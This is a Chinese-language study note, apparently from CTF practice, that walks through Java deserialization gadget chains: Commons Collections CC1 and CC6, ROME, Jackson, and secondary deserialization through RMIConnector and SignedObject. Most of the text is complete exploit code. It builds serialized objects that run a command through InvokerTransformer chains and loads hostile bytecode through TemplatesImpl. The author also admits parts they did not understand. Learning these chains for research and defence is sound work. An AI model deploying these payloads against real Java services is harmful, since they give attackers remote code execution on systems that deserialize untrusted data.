CC链
CC1
通过反射调用计算器:
Runtime runtime = Runtime.getRuntime();
Class runtimeClass = Runtime.class;
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc");
改为
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
通过调试进入InvokerTransformer的transform方法,可以看到和我们刚才通过发射调用calc的代码一样
再通过TransformedMap类的checkSetValue来间接调用transform,然后MapEntry类的setValue会调用checkSetValue。简而言之就是我们在给map里键值对中的值赋值时会先进行检查,而检查时会调用transform(value),所以我们令value为runtime,代码如下:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(runtime);
}
再找哪里调用了setValue方法,其中AnnotationInvocationHandler类的readObject方法有下面这么一段
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
所以我们想要通过AnnotationInvocationHandler的readObject来完成我们的调用链。但是还有几个问题,我们之前直接setValue(runtime),但是上面的setValue明显附带了好多ヽ( ̄▽ ̄)و奇奇怪怪的东西,还有就是InvokerTransformer、HashMap、TransformMap、AnnotationInvocationHandler都实现了Serializable接口,但Runtime是没有实现的。反正先这样写:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotaionInvocationHandlerConstructor.setAccessible(true);
Object o = annotaionInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
因为Runtime.class是实现了Serializable接口的,所以我们先学会用Runtime.class来弹计算器
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");
下面有点没跟上视频的节奏,也不知道为什么要全部用InvokerTransformer来进行调用
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
因为上面的InvokerTransformer都是递归调用,前一个输出是后一个的输入,所以用ChainedTransformer来书写会简单点
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
那里判断if的条件看视频没有很懂
后面setvalue我们想要设置为Runtime.class,但是里面set的是AnnotationTypeMismatchExceptionProxy,怎么办呢?这里要用到ConstantTransformer,不管我们对他输入什么,它返回的都是初始的iConstant。所以我们将代码改成:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
这样在checkSetValue里对transformers进行Transform时,虽然输入的是AnnotationTypeMismatchExceptionProxy,但是ConstantTarnsformer还是对Runtime.class进行Transform。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotaionInvocationHandlerConstructor.setAccessible(true);
Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
然后ysoserial里的cc1链是下面这样
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotaionInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotaionInvocationHandlerConstructor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class},handler);
Object o = annotaionInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize("ser.bin");
到chainedTransformer那里和之前都是一样的,然后它用的是LazyMap,LazyMap里的get方法调用了transform,所以我们让factory为chainedTransformer,好吧之后的就没听懂了。调试了好几遍也没有视频里的流程,算了,以后再补了。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
CC6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
serialize(map2);
unserialize("ser.bin");
LazyMap之前都是一样的。然后通过HashMap的readobject调用HashMap的hash方法,再调用HashMap里的key的hashcode方法,令key为TiedMapEntry,调用TiedMapEntry的hashcode方法,调用TiedMapEntry的getvalue方法,也就是map的get方法,我们令map为LazyMap就会调用LazyMap的get方法。
但是HashMap在put的时候就已经调用了hash方法,所以还没序列化就弹计算器了。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
我们通过反射来让map2.put的时候导致的lazymap.get调用的不是chainedTransformer,等put完再设置lazymap.get的factory为chainedTransformer,但是因为put的时候已经hash过了,会在LazyMap.get的时候把我们的key:aaa放进去,所以后面反序列化的时候因为已经就aaa了,所以就不会调用factory.transform,所以我们在put之后把key:aaa给删了。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
rome
先获取一个恶意的TemplatesImpl,调用getOutputProperties就会加载恶意的字节码
public static TemplatesImpl getEvilTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}
ToStringBean#toString会调用类的getter方法,我们让它调用TemplatesImpl#getOutputProperties
ToStringBean toStringBean = new ToStringBean(Templates.class,getEvilTemplates());
toStringBean.toString();
弹计算器
接下来就是触发toString,EqualsBean#hashCode会触发,而我们可以用HashMap#readObject来触发hashCode
package org.example.Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class rome {
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean(Templates.class,getEvilTemplates());
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
Class equalsBeanClass = equalsBean.getClass();
hashMap.put(equalsBean,null);
serialize(hashMap);
unserialize("ser.bin");
}
public static TemplatesImpl getEvilTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// Field tfactoryField = tc.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这里因为HashMap#put的时候虽然会触发EqualsBean#hashCode,但是反序列化的时候也会触发,所以就没特意控制序列化时不弹计算器了。
AspectJWeaver
SimpleCache#put有写文件的操作,可以作为sink的点
后面就是配合CC链触发put方法
Jackson
Jackson和fastjson的链子很像,就改了调用谁的toString
package org.example.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class jackson {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\ser\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
setFieldValue(templatesImpl, "_bytecodes", codes);
setFieldValue(templatesImpl, "_name", "a");
// setFieldValue(templatesImpl, "_tfactory", null);
CtClass ctClass1 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass1.getDeclaredMethod("writeReplace");
ctClass1.removeMethod(writeReplace);
// 将修改后的CtClass加载至当前线程的上下文类加载器中
ctClass1.toClass();
POJONode node = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", node);
// HashMap hashMap = new HashMap();
// hashMap.put(null, badAttributeValueExpException);
// serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CtClass ctClass1 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass1.getDeclaredMethod("writeReplace");
ctClass1.removeMethod(writeReplace);
// 将修改后的CtClass加载至当前线程的上下文类加载器中
ctClass1.toClass();
这一段是为了删除BaseJsonNode#writeReplace,在序列化之前加就可以了,不然序列化会出错。
二次反序列化
因为SICTF#3 web的最后一题用到了,这里就参考这篇博客学习一下。
rmi
之所以能二次反序列化,主要是因为RMIConnector#findRMIServerJRMP将一个base64的string进行了反序列化
可以看到只有一个地方调用了它,即这个类的findRMIServer方法。要求path以/stub/开头,然后后面的base64编码的路径就是序列化的恶意类
再往上找,有两个方法,public的RMIConnector#connect和应该私有类RMIClientCommunicatorAdmin的protect方法doStart,想都知道肯定public的connect好找且常见
可以看到就是在连接的过程中的没有rmiSever就会调用findRMIServer
我们可以找一下是在哪里写rmiServer的值,就是在构造方法里,而且jmxServiceURL也是在这里赋值,它的urlPath就是我们要的/stub/base
往上找public的构造方法
这里我们就可以构造一个恶意的rmiConnector了,至于构造时如何正确传值就自己看构造方法debug
package org.twice;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;
import static org.example.rmi.EvilRegistry.genEvilMap;
public class RMICC {
public static void main(String[] args) throws Exception{
JMXServiceURL jmxServiceURL = new JMXServiceURL("rmi","127.0.0.1",1099,"/stub/"+getEvilString());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());
rmiConnector.connect();
}
public static String getEvilString() throws Exception{
HashMap evilMap = genEvilMap();
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(evilMap);
return Base64.getEncoder().encodeToString(out.toByteArray());
}
}
调用恶意rmiConnector#connect,成功弹计算器。
接下来就是要调用connect,根据题目的hint,这里用CC1的下半段TransformedMap动态代理。
链子就是hint里的,这里用了两次AbstractInputCheckedMapDecorator#setValue->TransformedMap#checkSetValue,如果用一次会有个问题
就是在AbstractInputCheckedMapDecorator#setValue里我们本来想的是transformedMap.transform(rmiConnector),但是这里因为setValue的value不是我们想要的类,CC1里是用ChainedTransformer和ChainedTransformer解决,但是题目把ChainedTransformer禁了
但是虽然parent.checkSetValue因为value不可控所以不行,但是entry.setValue的value是可以的,所以我们改用这一句来
······
后面写在SICTF那篇文章了。
SignedObject
之所以能二次反序列化是因为SignedObject在构造的时候引入了一个要进行签名的对象并进行序列化,然后在调用getObject进行没任何过滤的反序列化
public static void main(String[] args) throws Exception{
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(getEvilMap(),kp.getPrivate(),Signature.getInstance("DSA"));
signedObject.getObject();
}
rome链可以触发任意getter方法,这里把rome链最后的部分改一下就可以了。
package org.twice;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import static org.example.jndi.JNDILDAPCCServer.getEvilMap;
public class SignRome {
public static void main(String[] args) throws Exception{
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(getEvilMap(),kp.getPrivate(),Signature.getInstance("DSA"));
ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
Class equalsBeanClass = equalsBean.getClass();
hashMap.put(equalsBean,null);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}